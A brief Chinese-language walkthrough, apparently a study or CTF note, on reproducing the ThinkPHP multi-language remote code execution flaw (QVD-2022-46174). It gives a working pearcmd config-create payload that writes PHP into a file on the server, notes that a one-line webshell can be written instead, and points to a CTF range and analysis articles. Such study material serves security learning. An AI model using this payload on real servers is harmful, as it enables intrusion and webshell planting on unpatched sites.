hi!!!
Ps:这里只讲RCE,下次再反序列化 。。。
漏洞测试:
测试包含public/index.php文件来确认文件包含漏洞是否存在。
如果漏洞存在,则服务器会出错,返回500页面。
页面形态:
漏洞利用:
框架漏洞主要问题在于多语言扩展,参数lang可以调用一种shell(命令行功能)库,使得对任意文件进行写入。
方法:
利用pearcmd库写入shell文件。
Or
“?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/test.php”
(实际情况自行分析,目录不一定完全一样,但是pearcmd库可以是默认情况,至于放的位置可以调整,连接工具用的上就行!!!)
(exp的话,一句话木马就行了!!!)
(注意:此处只用了config-create,其他的就不多赘述。)
payload的构造格式?(跟多语言扩展的源码有关了。。。)
Array(
[0=>
[1]=>config-creat
[2]=>/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>
[3] => /tmp/hello.php
)
靶场推荐:WK::CTF
Web下面的ez_tp(被打崩了,不能完全复现!!!)
其他命令的利用:
http://110.40.35.73:81/games/1/challenges
源码分析:
ThinkPHP 最新rce(QVD-2022-46174)复现和分析 - 先知社区
推荐文章:
https://blog.csdn.net/qq_61768489/article/details/128729352